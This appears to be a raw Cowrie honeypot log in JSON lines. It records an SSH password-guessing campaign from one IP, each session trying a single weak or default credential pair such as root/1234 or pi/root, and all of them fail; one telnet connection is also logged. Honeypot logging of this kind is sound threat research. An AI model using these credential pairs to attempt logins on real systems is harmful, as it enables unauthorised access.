{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44546,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4ff6438b93c","protocol":"ssh","message":"New connection: 192.109.200.78:44546 (10.17.0.5:22) [session: e4ff6438b93c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:57.034845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:57.038800Z","src_ip":"192.109.200.78","session":"e4ff6438b93c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:57.122724Z","src_ip":"192.109.200.78","session":"e4ff6438b93c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123456","message":"login attempt [newuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:57.455289Z","src_ip":"192.109.200.78","session":"e4ff6438b93c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:10:58.542970Z","src_ip":"192.109.200.78","session":"e4ff6438b93c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44560,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3fc533a8737","protocol":"ssh","message":"New connection: 192.109.200.78:44560 (10.17.0.5:22) [session: b3fc533a8737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:00.655650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:00.659394Z","src_ip":"192.109.200.78","session":"b3fc533a8737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:00.741082Z","src_ip":"192.109.200.78","session":"b3fc533a8737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:00.985134Z","src_ip":"192.109.200.78","session":"b3fc533a8737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:02.070774Z","src_ip":"192.109.200.78","session":"b3fc533a8737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59966,"dst_ip":"10.17.0.5","dst_port":22,"session":"1aaaf692f697","protocol":"ssh","message":"New connection: 192.109.200.78:59966 (10.17.0.5:22) [session: 1aaaf692f697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:04.102875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:04.106938Z","src_ip":"192.109.200.78","session":"1aaaf692f697","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:04.188394Z","src_ip":"192.109.200.78","session":"1aaaf692f697","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"1234","message":"login attempt [admin123/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:04.434759Z","src_ip":"192.109.200.78","session":"1aaaf692f697","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:05.649065Z","src_ip":"192.109.200.78","session":"1aaaf692f697","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59974,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b3328593eff","protocol":"ssh","message":"New connection: 192.109.200.78:59974 (10.17.0.5:22) [session: 0b3328593eff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:07.532734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:07.542058Z","src_ip":"192.109.200.78","session":"0b3328593eff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:07.624721Z","src_ip":"192.109.200.78","session":"0b3328593eff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"root","message":"login attempt [pi/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:07.872396Z","src_ip":"192.109.200.78","session":"0b3328593eff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:08.956539Z","src_ip":"192.109.200.78","session":"0b3328593eff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59986,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7c6f611ff36","protocol":"ssh","message":"New connection: 192.109.200.78:59986 (10.17.0.5:22) [session: e7c6f611ff36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:11.111612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:11.115831Z","src_ip":"192.109.200.78","session":"e7c6f611ff36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:11.198081Z","src_ip":"192.109.200.78","session":"e7c6f611ff36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123","message":"login attempt [claude/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:11.449864Z","src_ip":"192.109.200.78","session":"e7c6f611ff36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:12.533959Z","src_ip":"192.109.200.78","session":"e7c6f611ff36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":59780,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fecaec78dca","protocol":"telnet","message":"New connection: 172.81.62.90:59780 (159.203.135.109:23) [session: 4fecaec78dca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:13.605835Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35836,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a31c01a9d64","protocol":"ssh","message":"New connection: 192.109.200.78:35836 (10.17.0.5:22) [session: 1a31c01a9d64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:14.489796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:14.493476Z","src_ip":"192.109.200.78","session":"1a31c01a9d64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:14.574413Z","src_ip":"192.109.200.78","session":"1a31c01a9d64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:14.818977Z","src_ip":"192.109.200.78","session":"1a31c01a9d64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:16.039427Z","src_ip":"192.109.200.78","session":"1a31c01a9d64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35850,"dst_ip":"10.17.0.5","dst_port":22,"session":"831a8918366c","protocol":"ssh","message":"New connection: 192.109.200.78:35850 (10.17.0.5:22) [session: 831a8918366c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:17.826401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:17.830635Z","src_ip":"192.109.200.78","session":"831a8918366c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:17.918133Z","src_ip":"192.109.200.78","session":"831a8918366c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:18.163394Z","src_ip":"192.109.200.78","session":"831a8918366c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:19.248807Z","src_ip":"192.109.200.78","session":"831a8918366c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35852,"dst_ip":"10.17.0.5","dst_port":22,"session":"27a77f9d6ed1","protocol":"ssh","message":"New connection: 192.109.200.78:35852 (10.17.0.5:22) [session: 27a77f9d6ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:21.454467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:21.458053Z","src_ip":"192.109.200.78","session":"27a77f9d6ed1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:21.538573Z","src_ip":"192.109.200.78","session":"27a77f9d6ed1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"web123","message":"login attempt [web/web123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:21.780562Z","src_ip":"192.109.200.78","session":"27a77f9d6ed1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:22.862856Z","src_ip":"192.109.200.78","session":"27a77f9d6ed1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43438,"dst_ip":"10.17.0.5","dst_port":22,"session":"4426546f64de","protocol":"ssh","message":"New connection: 192.109.200.78:43438 (10.17.0.5:22) [session: 4426546f64de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:24.898273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:24.978029Z","src_ip":"192.109.200.78","session":"4426546f64de","protocol":"ssh"}
